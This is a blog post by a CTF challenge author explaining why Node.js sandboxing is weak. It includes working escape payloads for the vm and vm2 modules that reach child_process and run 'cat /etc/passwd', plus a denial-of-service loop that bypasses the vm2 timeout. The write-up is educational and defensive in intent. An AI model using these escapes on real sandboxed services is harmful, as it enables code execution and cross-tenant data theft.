Backstory

I authored BabyJS challenge for Nullcon HackIM CTF this year, the idea was not to go with common vulnerability classes like sqli, lfi, rce… but rather choose something interesting and new. There were many challenges in the past about python-jail/python-sandbox in CTF’s, so we thought why not try NodeJS Sandboxing.

Right after the CTF i wanted to look more into the current npm packages that offer sandboxing and what kind of bypasses they are affected with. In this blog post, i am going to explain why sandboxing nodejs is a hard problem and not a great standalone solution for security.

Disclaimer:

I am new to javascript, i am no where near to the guys who found bypasses like - this . I tried my best to explain things, if you think the post needs improvements/additions at any part, please reach out to me.

What is sandboxing

A sandbox is an isolated environment that enables secure execution of untrusted code, without affecting the actual code outside of it.

When looking for Node’s sandboxing , the first module that comes up is the Node VM Module. So lets look at what it has to offer.

Nodejs VM Module

The vm module provides APIs for compiling and running code within V8 Virtual Machine contexts. Using VM module one can run the code in a sandboxed environment. The sandboxed code uses a different V8 Context, meaning that it has a different global object than the rest of the code

Using Vm module we can run untrusted code in a seperate context meaning it wont be able to access the main node process right?

Example code

"use strict";
const vm = require("vm");
const xyz = vm.runInNewContext(`let a = "welcome!";a;`);
console.log(xyz);

Now lets try to access process

"use strict";
const vm = require("vm");
const xyz = vm.runInNewContext(`process`);
console.log(xyz);

Process

Process is not defined, so the VM Module doesnt allow access to process by default, if you want it you have to specifically give it.

Hmm, it seems good enough because you cant access ` process,require` etc by default so no way to reach to main process and execute code ?

Bypass:

"use strict";
const vm = require("vm");
const xyz = vm.runInNewContext(`this.constructor.constructor('return this.process.env')()`);
console.log(xyz);

Explanation:

In javascript this keyword refers to the object it belongs to, so if we use this its already pointing to an object outside of the VM Context. So accessing .constructor on this object gives Object Constructor and accessing .constructor on object constructor gives Function constructor

Function constructor is like the highest function javascript gives, it has access to global scope, hence it can return any global things Function constructor allows you to generate a function from a string and therefore execute arbitrary code.

So we use function constructor to return to main process :)

This was the same trick used for the first Angular breakout escape as well. - AngularJS Sandbox

More about Function Constructor here and here

Now that we have access to process we can use it to get to require and then RCE

Code Execution

"use strict";
const vm = require("vm");
const xyz = vm.runInNewContext(`const process = this.constructor.constructor('return this.process')();
process.mainModule.require('child_process').execSync('cat /etc/passwd').toString()`);
console.log(xyz);

VM Esacape

Nodejs VM2 Module

VM2 is a sandbox that can run untrusted code with whitelisted Node’s built-in modules. Securely!. Only JavaScript built-in objects + Buffer are available. Scheduling functions (setInterval, setTimeout and setImmediate) are not available by default.

VM2 Working

VM2 uses Vm Module internally to create secure (context)[https://github.com/patriksimek/vm2/blob/master/lib/contextify.js] It uses Proxies to prevent escaping the sandbox

Now anything that comes from vm contenxt to sandbox can be used to climb to process.

Example:

"use strict";
const {VM} = require('vm2');
new VM().run('this.constructor.constructor("return process")())');

Throws error, that process is not defined.

Escape

Since VM2 contextifies all objects inside the VM Context, this keyword no longer has access to the constructor property hence our previous payload is dead.

For a bypass we will need something outside of sandbox, so that it will not be limited to the sandbox context and will have access to constructor again.

Exceptions for the Win!:

Now that all objects inside the vm are contextified, we somehow need something from outside world to climb back to process and then execute code

What if we write something inside a try block, that will cause the host process to throw an exception and then we catch the exception from the host back in the VM’s catch block and use that to climb to process. Well its possible thats excatly what we are going to go

const {NodeVM} = require('vm2'); 
nvm = new NodeVM()

nvm.run(`
    try {
        this.process.removeListener(); 
    } 
    catch (host_exception) {
        console.log('host exception: ' + host_exception.toString());
        host_constructor = host_exception.constructor.constructor;
        host_process = host_constructor('return this')().process;
	child_process = host_process.mainModule.require("child_process");
	console.log(child_process.execSync("cat /etc/passwd").toString());
    }`);

In the try block we try to remove the listener on the current process doing this - this.process.removeListener() which raises an exception from the host. Since the exceptions from the Host are not contextified before being passed inside the sandbox we can use the exception to climb up the tree upto require.

VM2 Esacape

Afterall there have been quiet a few new and creative bypasses from Xmiliah in the VM2 - more escapes

Apart from the sandbox escapes, it was also possible to create a denial of service using infinite while loop

const {VM} = require('vm2');
new VM({timeout:1}).run(`
		function main(){
		while(1){}
	}
	new Proxy({}, {
		getPrototypeOf(t){
			global.main();
		}
	})`);

Final thoughts

Running untrusted code is hard, relying only on software modules as a sandboxing technique to completely prevent misuse of untrusted code execution is a bad decision afterall. It could be a real mess in cloud saas situations, since multiple tenants data is accessible once you are able to escape out of the sandbox process. You could sneak in into other tenants sessions, secrets etc. A far more secure option would be to depend on hardware virtualization like running each tenant code inside a seperate docker container or AWS Lambda Function as a service might also be a better choice.

Below is how Auth0 handled the sandbox problem: Sandboxing Node.js with CoreOS and Docker